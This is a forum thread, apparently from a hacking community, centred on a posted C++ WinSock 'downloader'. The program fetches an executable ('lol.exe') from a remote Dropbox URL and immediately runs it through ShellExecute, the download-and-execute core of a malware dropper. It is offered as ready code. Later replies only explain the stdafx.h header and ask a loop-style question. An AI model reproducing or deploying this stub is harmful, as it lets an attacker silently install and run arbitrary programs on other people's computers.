Author Topic: [C++] Simple downloader using WinSock  (Read 6085 times)

0 Members and 1 Guest are viewing this topic.

Offline dense

  • Serf
  • *
  • Posts: 23
  • Cookies: 4
    • View Profile
[C++] Simple downloader using WinSock
« on: June 17, 2013, 05:20:28 pm »
Code: (cpp) [Select]
#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include <string>

using namespace std;

#define BUFFERSIZE 4096
bool DownloadFile(string url, LPCSTR filename);

int _tmain(int argc, _TCHAR* argv[])
{
    // Download File //
    DownloadFile("http://dl.dropbox.com/u/70581194/lol.exe", "lol.exe");
    // Run it //
    ShellExecute(NULL, L"open", L"lol.exe", NULL, NULL, 5);

    return 0;
}

bool DownloadFile(string url, LPCSTR filename){
    string request; // HTTP Header //

    char buffer[BUFFERSIZE];
    struct sockaddr_in serveraddr;
    int sock;

    WSADATA wsaData;
    int port = 80;
   
    // Remove's http:// part //
    if(url.find("http://") != -1){
        string temp = url;
        url = temp.substr(url.find("http://") + 7);
    }
   
    // Split host and file location //
    int dm = url.find("/");
    string file = url.substr(dm);
    string shost = url.substr(0, dm);
   
    // Generate http header //
    request += "GET " + file + " HTTP/1.0\r\n";
    request += "Host: " + shost + "\r\n";
    request += "\r\n";

    if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
        return FALSE;

    if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
        return FALSE;

    memset(&serveraddr, 0, sizeof(serveraddr));
   
    // ip address of link //
    hostent *record = gethostbyname(shost.c_str());
    in_addr *address = (in_addr * )record->h_addr;
    string ipd = inet_ntoa(* address);
    const char *ipaddr = ipd.c_str();

    serveraddr.sin_family = AF_INET;
    serveraddr.sin_addr.s_addr = inet_addr(ipaddr);
    serveraddr.sin_port = htons(port);

    if (connect(sock, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) < 0)
        return FALSE;

    if (send(sock, request.c_str(), request.length(), 0) != request.length())
        return FALSE;

    int nRecv, npos;
    nRecv = recv(sock, (char*)&buffer, BUFFERSIZE, 0);
   
    // getting end of header //
    string str_buff = buffer;
    npos = str_buff.find("\r\n\r\n");
   
    // open the file in the beginning //
    HANDLE hFile;
    hFile = CreateFileA(filename, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    SetFilePointer(hFile, 0, NULL, FILE_BEGIN);

    // Download file //
    DWORD ss;
    while((nRecv > 0) && (nRecv != INVALID_SOCKET)){
        if(npos > 0){
            char bf[BUFFERSIZE];
            // copy from end position of header //
            memcpy(bf, buffer + (npos + 4), nRecv - (npos + 4));
            WriteFile(hFile, bf,nRecv - (npos + 4), &ss, NULL);
        }else{
            // write normally if end not found //
            WriteFile(hFile, buffer, nRecv, &ss, NULL);
        }
       
        // buffer cleanup  //
        ZeroMemory(&buffer, sizeof(buffer));
        nRecv = recv(sock, (char*)&buffer, BUFFERSIZE, 0);
        str_buff = buffer;
        npos = str_buff.find("\r\n\r\n");
    }
   
    // Close connection and handle //
    CloseHandle(hFile);
    closesocket(sock);
    WSACleanup();

    return TRUE;
}
« Last Edit: February 24, 2014, 03:51:24 pm by Kulverstukas »

Offline backdoorkiller007

  • NULL
  • Posts: 2
  • Cookies: -5
  • d0n7 h@73 7h3 H@cK3r H@73 tH3 c0de
    • View Profile
Re: [C++] Simple downloader using WinSock
« Reply #1 on: October 28, 2013, 09:38:45 am »
Hey buddy can you tell me what is the "#include "stdafx.h"
so can you tell me what is this file and what are the codes it has ?

Offline rasenove

  • Baron
  • ****
  • Posts: 950
  • Cookies: 53
  • ಠ_ಠ
    • View Profile
Re: [C++] Simple downloader using WinSock
« Reply #2 on: October 28, 2013, 10:17:04 am »
Hey buddy can you tell me what is the "#include "stdafx.h"
so can you tell me what is this file and what are the codes it has ?

In Visual studio it's used for standard file including system or for some project specific uses.

For more info: http://www.cplusplus.com/articles/1TUq5Di1/

and here is it's source code:
Code: (c) [Select]
// stdafx.h : include file for standard system
include files,
//  or project specific include files that are used
frequently, but
//      are changed infrequently
//
#if !defined(AFX_STDAFX_H__82B107C2_CA0A_
11D3_AAA4_00A0CC601A2E__INCLUDED_)
#define AFX_STDAFX_H__82B107C2_CA0A_11D3_
AAA4_00A0CC601A2E__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define WIN32_LEAN_AND_MEAN //
Exclude rarely-used stuff from Windows headers
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include <stdlib.h>
#include <math.h>
#include <assert.h>
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional
declarations immediately before the previous line.
#endif // !defined(AFX_STDAFX_H__82B107C2_
CA0A_11D3_AAA4_00A0CC601A2E__INCLUDED_)
« Last Edit: October 28, 2013, 10:21:06 am by rasenove »
My secrets have secrets...

Offline imcyber

  • NULL
  • Posts: 1
  • Cookies: 0
    • View Profile
Re: [C++] Simple downloader using WinSock
« Reply #3 on: February 24, 2014, 02:36:43 pm »
nice :) but i have one question. Is there a reason why you have used while instead of do-while?
after using do-while you could be able to remove first recv() call or am i missing something?